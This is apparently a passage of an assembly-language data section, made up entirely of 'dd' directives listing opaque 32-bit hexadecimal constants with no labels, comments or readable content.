dd 0A8003128h, 809C48E8h, 9F760F82h, 15AE9251h, 42AF03FCh
dd 9DB8CC18h, 6771BD94h, 0B04130C0h, 3AC5D6Dh, 3AA223CAh
dd 0AEF8D0EDh, 749826D1h, 304019EDh, 53E9983Ch, 0CD30B8A8h
dd 1093FF21h, 0E6C94200h, 951D902Ch, 805A582Fh, 3D603382h
dd 871CD00h, 7DC4A0B0h, 2C2B0119h, 132EA5E6h, 5CDC00A1h
dd 0C557008Ah, 0A32B9EEBh, 7F0007C2h, 0E6B49868h, 38A51918h
dd 90812761h, 9267EF38h, 6ECC585Bh, 0CFB2B902h, 1338F018h
dd 2C276103h, 98347319h, 3A1F7C61h, 40D0A820h, 94EA3027h
dd 0C90FDFD9h, 8A26D201h, 0A3CDBC78h, 17256AD4h, 4181AB51h
dd 323F61A4h, 52102029h, 0B53A22h, 5E88B1B3h, 855ABF6Fh
dd 61B2F926h, 0A437BA09h, 88D8D060h, 5712070Dh, 28382468h
dd 0A140DB44h, 15100DF1h, 4787931Ch, 0C48CF5CEh, 0C1EED02Dh
dd 60B98212h, 0EE3B1CAEh, 0FE948F1Dh, 7D4E19Bh, 39D45AC2h
dd 3ADF3C08h, 0C4919E00h, 0FE47E181h, 0B91CF200h, 0E6E86ACEh
dd 9C5A1E9Ah, 72CCC0F9h, 0E2C33A62h, 50E4471Eh, 0AD25D440h
dd 3AFC5E7h, 2E6C4CC9h, 1E87CF5h, 0A2001335h, 0B1262AF0h
dd 1B62FACh, 3398ED46h, 0EC721DA0h, 8307DEABh, 75A1CB51h
dd 7DA980A0h, 0D6890387h, 0B4C86FDFh, 3A1801C0h, 20008CFCh
dd 4A5BACF9h, 9097A1h, 0FA7DE448h, 792D6142h, 0B2D7D60Eh
dd 8034A756h, 5E0F85A0h, 0B113319Bh, 0CE10459h, 475D0222h
dd 9050BD3Ah, 2C80014h
dd 0F0A8A5B9h, 0A7EE934Eh, 4E89A0Fh, 21CF3C2Dh, 68F3E1B1h
dd 8BF4EDD2h, 0E168C115h, 407E06EEh, 6360E4A8h, 0C070C26Eh
dd 552AD2BFh, 1AB90F22h, 0A180FC11h, 0DDE2C087h, 5CF6C105h
dd 8D01527Dh, 8AA64E96h, 30C4CC50h, 3820007Ah, 0B77AFB4h
dd 0E0F287DDh, 2D4770C3h, 1EF7B89Bh, 422500B4h, 96B3F621h
dd 0F10040F4h, 0C43B4FBEh, 0DD3672h, 0D21DA6A0h, 83B569EAh
dd 67F4350Ch, 934880h, 0DF42579Eh, 0BF48874Eh, 5E468301h
dd 7266239Ch, 74968C40h, 87530004h, 25990754h, 4600F0E7h
dd 83B38FFAh, 0C0B7B63Dh, 0C748E4B9h, 0F2009B0Eh, 0F7B4CD33h
dd 602CD8D4h, 0C99D21EEh, 0FE013290h, 0B375ADD7h, 0CCD0AB70h
dd 384A80E3h, 15E7939h, 69128E88h, 0D6702228h, 0FC7C8Dh
dd 0B7CE8919h, 0E27E3297h, 0F0E553h, 842162C4h, 84978740h
dd 0E20B5F00h, 0BA80BE7Dh, 915A00EFh, 7333A87Fh, 6000C339h
dd 0EE0CF6C6h, 1CDDD031h, 2E5EA4h, 0F91B1936h, 2D5492D4h
dd 0A838B760h, 8C2710D0h, 4E04FC4h, 2C003DDCh, 0D86A3BF8h
dd 35801900h, 56C3B55Dh, 46F8A4E3h, 7BCC014Ah, 35144464h
dd 9741570Ch, 3B5D3C8h, 8DF6EBD7h, 0B2F842A3h, 970E95D0h
dd 8073413Bh, 9CF55515h, 12A971E1h, 1EA7197Eh, 2E6700B0h
dd 0FA5B1618h, 0F8049E07h, 0B046A0F4h, 0A6260021h, 0F2F168CAh
dd 8A09CFE8h, 217675BFh, 0B3526C8Ch, 618028BFh, 126E9205h
dd 933C33B4h, 566A803Bh, 1E6F766Ch, 94CB015Bh, 41F22E04h
dd 31E0F713h, 0D1DA58Ah, 0F4C09545h, 0E0BC68ABh, 0E30008Fh
dd 8B9BD7B1h, 0EE00E4FAh, 0F2B2F473h, 0C90DA3h, 22777534h
dd 0E05D187Eh, 82D74914h, 0D83AE0h, 7769E772h, 0D02202h
dd 0BDA1F84Bh, 8032D442h, 900C2F8h, 0B320EF2Ch, 0FB1E10h
dd 0BEC49227h, 8076CD12h, 807CEB3Ah, 0B210E4Eh, 34E82Fh
dd 7BF9D825h, 8009DCE5h, 9EA71700h, 4620AB99h, 9C363DDh
dd 2000D850h, 4805D237h, 0F3B584h, 1C6BA0BDh, 0DF6CB171h
dd 0CA002B7Ah, 6D207DD7h, 3CDD1268h, 5A003614h, 0B1E9AD1Ch
dd 56000155h, 0EF5E7022h, 7CA50E0Ah, 5D83309Ah, 0E54B4208h
dd 0B6549207h, 6F108738h, 0F61C831h, 5E723B8Dh, 0E119A87h
dd 7CA54441h, 0BA74EC0Bh, 5DC7A00h, 59EEB275h, 69830046h
dd 0C308B4C0h, 0B6004292h, 170C8F63h, 54ACAh, 34FBA082h
dd 0A8EFEDAEh, 0D810FE06h, 1AE3D9h, 74C5B657h, 0EE4FDC8Ah
dd 91B7E203h, 96D1809Dh, 0B64400A8h, 0BD5D730Bh, 7E70A465h
dd 4CC15B00h, 9837270Eh, 0A573DB5h, 21DA9500h, 5DB73C2Fh
dd 2E47C0DFh, 789742A5h, 0E4A046F7h, 7615D4h, 4D0C6E63h
dd 5E36CB3Eh, 8B402000h, 0F3CD6158h, 1C10F0A9h, 4031C08Ah
dd 0DBE76274h, 4C0077C9h, 0CC578011h, 91162Dh, 215F0FCh
dd 5AB52EB4h, 40273A00h, 0B23721DBh, 0BE5807D5h, 8645FA29h
dd 18C358F1h, 0D0D438CEh, 330B3A5Dh, 9131D7EAh, 0BDC1C7A0h
dd 8BA7E500h, 546730B1h, 0A0E13A98h, 7D60D601h, 80436B13h
dd 0D8BA6CE0h, 0EFE8DF3h, 2C6A4F1Ah, 56E5D460h, 3F0FA6C5h
dd 0E68334D3h, 1C509F35h, 2362542h, 0BDC6D43Eh, 0C3030C44h
dd 62333271h, 1DC0BCBEh, 0ADCF285h, 0A1142C38h, 0E09A18D4h
dd 0C8C0E037h, 0A8D4E27Fh, 8D8600DCh, 0B9724596h, 54009FDDh
dd 2CBF063h, 4C84BCC6h, 52059907h, 2082A9C7h, 0C2087C04h
dd 0C961E2Bh, 300846DBh, 0F5E6F680h, 6D00CCDBh, 977F17EFh
dd 0AA240FBh, 96D9E3EEh, 0FD53080Ch, 0C4719443h, 23FCFF44h
dd 0A723BC6Ch, 831626CCh, 10D6BA0Ch, 5244E928h, 0DC3CA8CBh
dd 0F769443Eh, 4110F942h, 905F8E1Fh, 6A655E82h, 54451B25h
dd 300AE6F3h, 0B8904887h, 21F843C4h, 0C43595Dh, 9A49006Fh
dd 83FBD980h, 331FCC52h, 88C53782h, 0A8228AE9h, 0F7837DF9h
dd 6A8822A0h, 4E3047CAh, 68D207Ch, 4286006Eh, 5878A8CEh
dd 39C0C9E0h, 0F2537E48h, 0AB630377h, 35591EF8h, 21FF69A0h
dd 5592DE00h, 0D529513Ah, 0E948002Ah, 0E2356A41h, 9B61207Ch
dd 0FA03A368h, 7186BD0h, 0CC7A9F9h, 0C0E0F059h, 920280CFh
dd 0BE70F88Ah, 204C905Fh, 14C00E4h, 2F025284h, 0DA0446C3h
dd 9C156876h, 75EF9FC0h, 737E0056h, 7D3E29AFh, 53F87106h
dd 0EEC73500h, 0D2835134h, 1F6230BBh, 745DAC68h, 7AA1C10Eh
dd 790E9E27h, 5423407Eh, 5A1AB3h, 65BC7C0Ah, 0B7374A3Eh
dd 1C91C128h, 57C20700h, 0D30C6619h, 3DC900FFh, 77993545h
dd 0E8F2F4CBh, 8F949D07h, 22104D9Bh, 9A2BE4h, 0DC0D061Ah
dd 0F4AE092Dh, 8B0FAC00h, 11026378h, 528F18FDh, 40CA2830h
dd 0E0AB4F00h, 46A6B4C4h, 58B60E7Bh, 5B2033F0h, 60942611h
dd 5C440B29h, 806CD980h, 880641h, 9BC07F5Fh, 48DD740Ah
dd 0EC0783F4h, 0ED0D7BC8h, 6BF087B7h, 0FA94DCh, 7E46C540h
dd 0CD9A19D3h, 93002E7Ch, 0CCC7E8A8h, 0BE2250h, 3F75A3DEh
dd 7D6C1DDh, 28D14030h, 0FAEC19DFh, 30E224h, 0B2A013BEh
dd 0D0057BF7h, 0FE007EF8h, 0F883D628h, 9CC046h, 3DF55710h
dd 0A3AEDC47h, 0CA092E00h, 0DDC36712h, 0E061052Dh, 8170298Ah
dd 0D2FA9F7Dh, 0BC53589Ch, 0E579834Ch, 0E25E0082h, 1A7D1680h
dd 0FB17117Eh, 0C9003436h, 0C1125051h, 0DB213C32h, 3AA5D10Eh
dd 8D1740D8h, 1F63C07h, 318CFA16h, 247019h, 0FD3A07D0h
dd 0A05A65F9h, 3F01A3Ch, 0BC4F1F64h, 0F38DF8AEh, 349E00D6h
dd 0A85AAB95h, 0D500EF9Ch, 0FA45C747h, 15CE3B57h, 0B82A8D0Ch
dd 372BD803h, 0B8F83309h, 7F03A146h, 725B6228h, 23B05876h
dd 0F3024403h, 907F16A7h, 0B8E0DD30h, 64971E3h, 5AE642B9h
dd 3000307Ch, 7AF9FC62h, 29F628E8h, 5EAC5D7Fh, 1AB298C5h
dd 30F7DF00h, 74DE68A4h, 0D3C40059h, 0B66099ADh, 5A1EC72Ah
dd 6A1D63F5h, 7E8C1900h, 2B487B75h, 0F0448E14h, 0D8008ED5h
dd 5E265460h, 9D849Fh, 0D75ABD61h, 194B3B58h, 5174B100h
dd 4F6BEEDDh, 977F8Bh, 21C1E5B9h, 5B033932h, 0FD7AED01h
dd 2EF852DDh, 0FEA67EF4h, 0D1B000F9h, 238AB696h, 0A90056ABh
dd 0B90E1CF5h, 33AE0BEh, 0BFB8F8D5h, 0B448C4h, 1741EC43h
dd 0F0B007B4h, 0B0081B65h, 8FE6C253h, 1301B9F2h, 0B276690h
dd 32F19D2Ch, 3B1C92D0h, 23805DC1h, 28D73989h, 0D0F33CFBh
dd 3E3BA663h, 0FD6B804Dh, 4987C27Fh, 0B3090323h, 0C7892D03h
dd 0EF842844h, 0CE58EC00h, 88E01143h, 9C2107B0h, 0C0965BBCh
dd 53AEDA28h, 0D03A47Ch, 49BA9536h, 21BDF074h, 42F43CA5h
dd 0A7ED00FAh, 8EBE3B1Ch, 1A007332h, 0B215D527h, 1D827Dh
dd 4921297Eh, 0BAB4F839h, 3294F700h, 12082CAEh, 0C2F40058h
dd 53297D88h, 2F0030ADh, 4D2B96DDh, 5833B69Ah, 3C00FFA9h
dd 6F5A64D7h, 2478F908h, 0F1266E03h, 0A07F1185h, 74FC4D05h
dd 4E551CEDh, 1E5CDE0Ah, 906AC098h, 0D3823835h, 3603584Eh
dd 260953h, 43EB5480h, 56EF146Bh, 9F444Ch, 2EFFD5DEh, 1F49A3E0h
dd 92A407CFh, 0D70300BEh, 0B357FD2Fh, 456FD300h, 0D02AA17Bh
dd 0F90700B9h, 0FEA659DFh, 9600864Dh, 0AA360A57h, 0B0F1FDh
dd 5411CDBDh, 3D5AF22Dh, 253DB674h, 37491C01h, 95ECDB00h
dd 50BF4275h, 0A5948C4Ah, 0DA3D8E80h, 5E44258Ah, 2DE90D60h
dd 2108D7Eh, 0B982EB1Bh, 86426A48h, 8165C422h, 0ACD69090h
dd 3E98180Ch, 30838FFh, 2531D08Eh, 11045507h, 23E839Bh
dd 853A8724h
dd 0C31803FDh, 21EC9083h, 0B7E097EBh, 0E5778053h, 80E179C0h
dd 0C039FFh, 48B69B0Fh, 0B8829FD8h, 0ADD66900h, 39459E2Ch
dd 6797023Eh, 0D2BD1D54h, 6E2EA482h, 0D380AD40h, 84A81639h
dd 44BA2C83h, 4FA51C80h, 4700F3E9h, 0B5180908h, 0EFA0139Eh
dd 20B80093h, 11380A6Eh, 3001E8Ch, 0A66918DBh, 5C2F3C10h
dd 8A0E36BAh, 0A6CA179h, 0BF0039C9h, 0BC93C583h, 5ED896h
dd 0BD459F3Bh, 0E5CF1136h, 3CE40354h, 67ED3215h, 0B3120C88h
dd 1FD0E8Fh, 4611F077h, 0E410CBFCh, 0B7307F94h, 52E8481Fh
dd 247330C8h, 6BE9F239h, 0C003417Dh, 183CBE8Eh, 0A0A6A286h
dd 479BFFDCh, 901A00AAh, 0A74978F8h, 8203C2CBh, 0F4A04C99h
dd 8FB6F03Ch, 3BC502B0h, 1B02C312h, 85E80848h, 30A0D5Ch
dd 587010FCh, 8F082A67h, 488D0094h, 7C8219FDh, 0E8ED0B36h
dd 0D4902605h, 0CCF10426h, 0D1DAE501h, 6C2151C0h, 2DB66E0h
dd 77B69336h, 0F8A082C8h, 5C9A9612h, 11096030h, 0E67EFD74h
dd 879D033Bh, 9E9AD327h, 0C48E0A2h, 6500B8BAh, 0B78FB2DEh
dd 0DFCB94Eh, 25FB7745h, 5A55C420h, 71725400h, 802EEBB8h
dd 0A8F036Ch, 0F9C55CBCh, 2660A0CFh, 0E91245FDh, 845F216Dh
dd 0FA3BCE02h, 5CB8A2CAh, 6EE51891h, 0E0210D7Dh, 43399285h
dd 47C85300h, 36D2B403h, 0A7A3F964h, 43601C62h, 4A7800E3h
dd 4D406519h, 1000C2C4h, 4547A05Eh, 0EA7C2681h, 2F5A0411h
dd 0C0C59D0Ch, 0B5876A3Ah, 0A68D5E00h, 0DC167B3h, 2D191FF3h
dd 0D2CE4h, 14053DCh, 27034183h, 0D96A972Fh, 0B28AA833h
dd 371FE72h, 0AAF48D4Fh, 15D80540h, 0C60E76CAh, 80D29C24h
dd 63C7E613h, 0D3DF5CD9h, 46683104h, 85E080EBh, 73010C22h
dd 0B8BEF625h, 0E0CB088Ch, 386CAC1h, 23842C9h, 0A3E84788h
dd 4A00F0D6h, 455E3BAAh, 9D867Dh, 24FF3AA0h, 4BE22BD7h
dd 0C889B11Dh, 0E0E44A40h, 28CDA6h, 0AD5E0783h, 0E1A4D2D8h
dd 0E791B800h, 0F5E2E4D0h, 98A63DCBh, 40AD06F3h, 0CC712F8h
dd 0A2641F00h, 0AB35F769h, 8DE00031h, 9BCE9CA7h, 0D600A852h
dd 1613F3C4h, 0AEEC05h, 240CCF20h, 1B3A6162h, 0F877B700h
dd 0C8EEB21Eh, 5AB0014Dh, 80137BC1h, 703FF556h, 3B078993h
dd 6066E8F4h, 4FD42240h, 0F9C800F2h, 2D8473Ch, 0EC7C6CE3h
dd 553A391Dh, 0C2AEFDC0h, 0FE367Eh, 9FBEE268h, 3FEC0F14h
dd 0AD867000h, 69BF85B1h, 2F480013h, 0C845C27Ch, 0CF00465Ah
dd 0DB107E95h, 9DF5927h, 132C35EAh, 573A2700h, 0F40005CAh
dd 2A758740h, 3102C15Dh, 0DB51BC59h, 6367023Fh, 223800FBh
dd 0FEC37281h, 0E4375DB6h, 7D22289Ah, 94C40716h, 75A5044Dh
dd 48E24F44h, 0C75841A3h, 80C90257h, 0F3765128h, 40697EBCh
dd 52006C64h, 26E1EE9Ah, 2EC43412h, 53C56Ah, 0BB1053E3h
dd 1A003AB9h, 5CD754DEh, 0D3B080h, 51F711EBh, 72C32CCEh
dd 0E624B9B8h, 900F930h, 7C95B866h, 103F86Ah, 0BC92E967h
dd 0EC29F484h, 7607E6D0h, 9DA12B9Fh, 86D3A200h, 0A5703Eh
dd 2619C5D7h, 0BB4C251Eh, 0B770EA00h, 1779E10Ah, 9BE31752h
dd 95A6A05Ah, 2FECD700h, 4D914E6Ch, 478C0077h, 0FAA36F02h
dd 0C00F9EBh, 7A19352Bh, 0C349AE9h, 65C65D8Dh, 46000F30h
dd 0CCBA1404h, 78DE381Fh, 2C90A8h, 0E35836B9h, 0C1C73083h
dd 0AE4CB701h, 5DDC0AB5h, 996EBD8h, 0A7FFEF65h, 0CAA34E00h
dd 0A91B769Dh, 0A910DCCCh, 28E43635h, 18DA03B1h, 0F80E7BD0h
dd 0B709CCA0h, 0FF509B0Fh, 0CAAA2069h, 0E4854AEh, 8C7FEAA7h
dd 0C82E5881h, 84D82059h, 0BF4A3300h, 3543EF61h, 50749Dh
dd 0BA5E6B71h, 77A773EAh, 8B34C500h, 700A3DFCh, 207100B4h
dd 857EFABFh, 393BCF1Ah, 3E9500E2h, 0C237B935h, 3BF20044h
dd 99583368h, 0FBF50BEDh, 0DE1D06C0h, 0C3E70300h, 0C6A43ADBh
dd 10521C22h, 4D4B80E6h, 9148D1A6h, 724ADE00h, 0F9E4C328h
dd 83F00E7Ch, 2980ABC0h, 0EB93B0EEh, 2100D77Bh, 1B49164Bh
dd 3C1EF323h, 66007A0Dh, 5C7C6EA6h, 470BC254h, 55E1579Ah
dd 2AD22900h, 664CC426h, 58A50216h, 805B99F9h, 0E63B2F88h
dd 1CEC30ACh, 1602360Eh, 0AEBB3C00h, 0E46AB41Bh, 404B00C6h
dd 63DF76Eh, 0FA001535h, 0D525908Dh, 0B016CF0Bh, 58730016h
dd 9C34F26Eh, 0F53D13AEh, 69CCCDh, 9AE8DF36h, 0E6E25044h
dd 0BC350095h, 0E594CFA5h, 0C1363A7h, 38017DD8h, 0B1F772D7h
dd 3ACD3EFCh, 6C8010F2h, 0D9F4DE32h, 0AC05FE61h, 0D8D154Dh
dd 0BB28D080h, 82110014h, 91E462A1h, 1F03CE43h, 88354D44h
dd 80F8AA18h, 0BF5B7CE6h, 4FC2006Bh, 0C7267E40h, 31181324h
dd 0D21038B4h, 0D83A50ABh, 0EF5B0045h, 11D87748h, 0C40042E7h
dd 3CDBB5B6h, 39B3420h, 6F480892h, 66C8E240h, 0A35C16A2h
dd 7DD60096h, 396BA815h, 8B183DC2h, 0D0845C00h, 8651B598h
dd 14DC8C00h, 0CBCF34A0h, 0C82F00FCh, 5EB2E48Eh, 85009DA5h
dd 21C290D9h, 1FBFDBEh, 0DE40B597h, 0ECA7107Ch, 0F40072BDh
dd 6285F1ADh, 4A543h, 2FEF3B06h, 8E7A86DAh, 0FC7B750Eh
dd 3EBD00A4h, 3E4B1B55h, 17F5601h, 57604C8Fh, 0FC46DA3Dh
dd 370051FFh, 0C641DB80h, 3949906Eh, 9A807F76h, 0E2F9E57Bh
dd 0ED00F211h, 0E0CF98D3h, 2066ACh, 8242D412h, 0C9C4435Bh
dd 3B7BAF3Ah, 219B80E7h, 72607C75h, 85D50064h, 0E9FF3D59h
dd 0D700B8ABh, 81764A50h, 1C15BC58h, 597B546h, 802BE114h
dd 8D1CC1A8h, 314BB800h, 7851D5C6h, 995700C0h, 9CD82A85h
dd 950001B6h, 0E538D40Bh, 7F6C07h, 8A99C37Ah, 0AA4BFCFEh
dd 54A8DCA8h, 2800C8E0h, 0AED5018Dh, 3E2124h, 4D7BEADEh
dd 556ABB84h, 30EE4630h, 98DAE71Dh, 4C8D3C65h, 685BFC01h
dd 6089F355h, 0B00FE4Ch, 71C55D8Bh, 0A82B91h, 1674ECFFh
dd 9BBAE292h, 41F20B00h, 0C79DAD8Bh, 0CE5A00AAh, 0A9184FA6h
dd 4D00F995h, 0E75D632h, 0E6084E0Ah, 8B1907C6h, 0D08EEB7Dh
dd 1657F46Dh, 947E3207h, 0D40B3F1h, 0F0E0B65h, 0C4BF21AEh
dd 5CA8F840h, 3C0068CDh, 6AF3D9D1h, 0B2863Eh, 0DE27BB8Ah
dd 621C45B8h, 151EAC02h, 40A4A598h, 48F9FBD2h, 0C33C14C1h
dd 976301F6h, 6630FACDh, 2C6C80E0h, 63B0875h, 4AFD030Bh
dd 3FB5F160h, 0D44C7DFBh, 0BC210E66h, 0E9022023h, 101779Eh
dd 63C20DF1h, 0C8DE49AEh, 0A700AD3Bh, 70074F6Dh, 39FF6144h
dd 798029FBh, 53C5F6A1h, 0EE0074F3h, 6F1ECFACh, 1669CEAh
dd 0DF5BB816h, 0EC13DA93h, 0FA1FA0E3h, 0DB4E0A28h, 71EF2039h
dd 78435C92h, 2DE00Fh, 8C0C4D72h, 0D0CB6562h, 57243Ch
dd 6483E9C9h, 2939425h, 0E2A55F48h, 9CC0A1B1h, 10F44108h
dd 8D9EDE00h, 86A7B545h, 23130005h, 58C42AB3h, 84008CB1h
dd 45AFB72Ch, 912BCDh, 4FCBE099h, 237E59E6h, 760050F6h
dd 7D4A4E56h, 673BA6h, 1629245Ah, 0A2D26986h, 760A000h
dd 1650BC9h, 21DE0FCBh, 0C1C7E23Dh, 5587505Fh, 0DCFBF6A9h
dd 691B16C7h, 0A0BA9907h, 0B32877h, 0DD613EFBh, 40F5AD65h
dd 861CDCEEh, 438FC1D3h, 0EBE4802Fh, 559C91h, 35F59025h
dd 3B9D502Ah, 87F0F300h, 1ED8BA7Ah, 0C430010h, 17185C79h
dd 63F8A2D6h, 5170E600h, 2928B8BCh, 1B3407F8h, 0B035EE4Fh
dd 0B472FBBEh, 0B22BC907h, 8A10977Fh, 102A899h, 4CD3EE8Bh
dd 43A621C3h, 74B0B5E4h, 0D400B27Dh, 0C123AB77h, 94954Eh
dd 0D75F6B06h, 40260ECEh
dd 0BF256F03h, 0E1FE3016h, 0E03EEE05h, 743ECEB3h, 0CDC08044h
dd 306EF4Dh, 183300DFh, 1660CF5Ch, 0C2F007E6h, 9B0047F6h
dd 5A6FE4D2h, 0A19DA4h, 4A1AD311h, 3A469006h, 4CB99607h
dd 3930FC3Eh, 56997Eh, 9FCA2A59h, 57153318h, 808C2600h
dd 0E2FD385Ch, 75ED0007h, 7EA71135h, 66004E05h, 0A22E9B63h
dd 0B2C7D6h, 6AAD4E0h, 5EB06BE7h, 0D815ED00h, 139E4C23h
dd 0EEA403A2h, 0D96641E2h, 0AA071DD8h, 96212200h, 0A2B1D0FCh
dd 6F98B3h, 0C5CE247Dh, 5D53890Dh, 9C6F9B00h, 148565CCh
dd 26EA001Bh, 32DFD743h, 28005F08h, 9113F490h, 0F4AD8F86h
dd 0ABCC039Eh, 119B8093h, 0C244A7A0h, 0E0388100h, 28A3E8D7h
dd 2EBC3946h, 50071FF5h, 11AE4075h, 16192BE6h, 0C3E57800h
dd 26B1939Eh, 1CF32C7Dh, 0BEDD00B8h, 96E61D7Fh, 0EB309200h
dd 5FAD3534h, 4DF3073h, 149BEC38h, 581AC602h, 50627B24h
dd 76540954h, 1D815EB7h, 80CF6F7Fh, 1B389D31h, 0D1DF0Ch
dd 0DCAC6B75h, 0D61DEEEBh, 0E80ED9E8h, 0A0DB6E6Ah, 0D5368B4Ah
dd 0A51300BDh, 0F6A74E74h, 7F3B85CAh, 0BAAE8258h, 0FD5E9498h
dd 0DE3602E0h, 2A18B514h, 31C200A1h, 0E71307E4h, 3A94058Ch
dd 800AE0ECh, 877D6D9Eh, 0FBD40C00h, 85425E91h, 2F0800C7h
dd 0B227A347h, 0A77F35F6h, 0D1EEDEEEh, 0C1A98503h, 0B06D0A5Ah
dd 394ED6FCh, 0E50021F7h, 0F54A3B91h, 82732039h, 908C8D07h
dd 27108F3Eh, 0B1D4DCh, 6947EF6Ch, 0C875A3F4h, 0C01BAA26h
dd 7D1E6E00h, 0E63667F5h, 423004Fh, 0D7849FD8h, 0E0061AFh
dd 31BA2801h, 12E4E6CCh, 0B94010h, 9A20A469h, 9E7633D4h
dd 9487D103h, 0EA0C0444h, 1400FFD3h, 0B42B4979h, 0E2DE3100h
dd 1A8C81C3h, 442E00F4h, 0C2D112Ch, 921F69E5h, 1FDC9DFh
dd 64E7E4ADh, 34F0654Bh, 0A100043h, 0FA68AEC3h, 0E1F6C47Dh
dd 45A7A807h, 3E50F920h, 7807EE59h, 2F9C00F6h, 75F7BCF1h
dd 5690FF7Eh, 1D560600h, 0DA4976A4h, 386479ABh, 0AD0FDDA0h
dd 1BE0EFFBh, 0D5F19EBh, 80E52F3Bh, 3F5C535h, 8277Ah, 3C67620Fh
dd 0BC3961B9h, 0F2BF0C00h, 185AD496h, 0A46F00EEh, 8A0B8E1Dh
dd 48004C6Ah, 0AE88BD7h, 3259914h, 0D3A64641h, 93A75283h
dd 0FECF8E3Ah, 80E2F484h, 861D4AEDh, 92CE8B00h, 0BB5AB487h
dd 470D0FD7h, 50801BBEh, 28126870h, 4D734F00h, 0D70CF81Fh
dd 345E0299h, 1AE3443Ah, 0C3B1C4C0h, 1D4C8200h, 0F0CC1C0h
dd 181F461h, 1B70CE8Fh, 0C037A9AEh, 0C200B9BFh, 34AFACA5h
dd 79047FAh, 0CC1D4D66h, 0DE5D0355h, 5E54FDC0h, 3EEE3100h
dd 0E1B32B3Bh, 0CAD3002Dh, 0AA7C8DFEh, 440FA25Dh, 0E7B23009h
dd 6450A10Dh, 346B475h, 7917878Ah, 34C0DC3Bh, 0A207C433h
dd 22CEC81Fh, 0F691D910h, 8CF400BBh, 78FD4963h, 150024BAh
dd 32101D36h, 8F79F5h, 0D39302D4h, 0BF9B312Bh, 18AF040Fh
dd 0FD4BA087h, 1EF03B7Bh, 4F0F0108h, 77839BF8h, 5E90C15Ch
dd 4D7404B8h, 0D6009C79h, 10D48261h, 35A4AEFh, 0CE94B59Ah
dd 0B9B0EA5Bh, 0E9009EC8h, 7802D601h, 187D25F4h, 29494115h
dd 9A0E3BF1h, 0EEDBD9D0h, 2412E771h, 36FEF3B0h, 1BC60006h
dd 51E2145h, 27009AAEh, 0A9D5DA13h, 13F567Ah, 0D91F9462h
dd 200EC838h, 7C0011A8h, 0BC820DBEh, 0FFAAB0h, 16EC977Ah
dd 8133D340h, 6AEA0600h, 72767B1Ch, 981E0057h, 357CC9B3h
dd 63005458h, 0AC9945D2h, 7768Ch, 933882Fh, 0F83B287Dh
dd 0C2734A00h, 1343B437h, 0F6D100C1h, 50F2D54Bh, 0C579566Bh
dd 0E321CA00h, 31835BECh, 9BA5004Ah, 22EDB6F5h, 500F8BFh
dd 71422B06h, 0E6B94123h, 2670B14h, 0A601DBB6h, 0D8B3D18Eh
dd 4B041B84h, 0EEE05C4Ah, 97B7480h, 76FB008Dh, 0EBF1BB7Ch
dd 0CC00692Eh, 6C0B9CAAh, 3E42C06h, 0B981ACD2h, 0A9C0A071h
dd 55EA1776h, 83001A70h, 0D7B06977h, 72AA23Ch, 6F4436E8h
dd 58C8F089h, 7807D1F2h, 183F5384h, 49707577h, 6CF9FFh
dd 0AE2BA59h, 550189F3h, 214F5600h, 7C63DF44h, 0CEAB0033h
dd 0F0A8CD06h, 2C036B84h, 7DB10FFh, 0C1D4B871h, 77040018h
dd 6E4F2757h, 61005FF3h, 8730532Ah, 38E7C5E1h, 1E001D8Bh
dd 6A9F4282h, 0B70018F8h, 0E096655h, 1E49456Eh, 809ACA64h
dd 0A05B3DFEh, 691476ADh, 1CB07A9Dh, 0AF40247Ch, 2ACCD450h
dd 70F900B3h, 594015B8h, 460EB107h, 0E08325E0h, 74097D84h
dd 0BB9D00C5h, 923212F7h, 7A03DD98h, 0F01F39CAh, 6794806Dh
dd 1FEE1h, 0DE193237h, 7C7446DFh, 8BFE001h, 147753A5h
dd 0D1F01ACDh, 81B00067h, 591DF86Fh, 8F06D42Eh, 2F3E9D90h
dd 40FA0072h, 0B106B64Bh, 0D0B5E80Bh, 668F03BEh, 0C3877E1Ch
dd 4CDCC6D8h, 17F7BF01h, 4AADE2ACh, 336A91CCh, 0D8281A81h
dd 34B03AB0h, 0B9BCDF01h, 0C5EC30E8h, 0F713880h, 77C95D54h
dd 905B9D00h, 88336BA1h, 797503E3h, 569BF283h, 0BBA025E3h
dd 0DA71E817h, 6591F00h, 5B7E6F8Dh, 159C0085h, 0ECBC7F19h
dd 0C800AF4Fh, 3F667C2Ah, 7AE887A5h, 6FFB00ABh, 31C542FFh
dd 0F600237Fh, 91652B39h, 0B0692F44h, 0CCF223h, 5A4EC694h
dd 155CA47Bh, 47FFA701h, 39B11838h, 0F4E4A5D1h, 5275070Eh
dd 0E04D70DFh, 0DADB5ED7h, 0DC739D00h, 99F077Dh, 0E3FE0244h
dd 0E0BC1916h, 0E26D62E0h, 5FA5DB0Fh, 60BFAF6Bh, 20B4D660h
dd 2B70C054h, 0E715EE2Fh, 803081C0h, 6E2359h, 534EB8C7h
dd 0BADE2AF5h, 0B000C07Dh, 243A0D25h, 0EC9F163h, 47018C2Bh
dd 59737141h, 9E836062h, 34796507h, 9FB092B1h, 0D4C7C4h
dd 51AD7628h, 0F04CB9C5h, 3E716800h, 665F8EE4h, 987D07EFh
dd 61AC343Dh, 30BE4A06h, 720790ADh, 0BFFCC47Ch, 303C6950h
dd 0C8855019h, 7ABBECA2h, 5ACB1CF5h, 4849800Bh, 56FCE779h
dd 0F600E190h, 2CC7A15Dh, 30C7B53h, 0BF6BC1CCh, 0B5E81585h
dd 0FA481AFDh, 5EA400A3h, 0A057AD29h, 42CC00CAh, 364C6331h
dd 0A60F929Dh, 0E127B57Bh, 0BEC956CBh, 7308083h, 499B7F3Eh
dd 0F82CEDA0h, 5BA1200h, 5B75AF9Ah, 8AEF0065h, 5F024997h
dd 0B7007C2Fh, 0D872D656h, 3240770h, 0DE32A8ACh, 3D99F579h
dd 40B44196h, 202286h, 71D3414Eh, 166002h, 2CDD1584h, 46962E9Bh
dd 0B02B9401h, 35AAE861h, 0D8DCDFD9h, 29CE00D4h, 0BE5986F0h
dd 8D0062E5h, 9714977h, 7ABA7C7Fh, 0CDD10087h, 1A95253Eh
dd 1C03B252h, 3D17129Ch, 0E0F09FEFh, 0D541FFh, 0A5F806B5h
dd 0AF37F3BEh, 0DCB26C00h, 11174B7Eh, 0F65DF6E9h, 329900F4h
dd 6BC42ED3h, 52C9A43h, 1617BA76h, 0CB52D603h, 0E896C82Bh
dd 223A0E68h, 90404CE4h, 0B0492C62h, 89A44A1Ch, 1FA35F01h
dd 2620376Ch, 0F8B52653h, 0ABBF000Ch, 0D9451B0h, 92C1561Fh
dd 0E2377800h, 0EC4A4Ch, 0AE856DC8h, 19367A7Fh, 64B80D07h
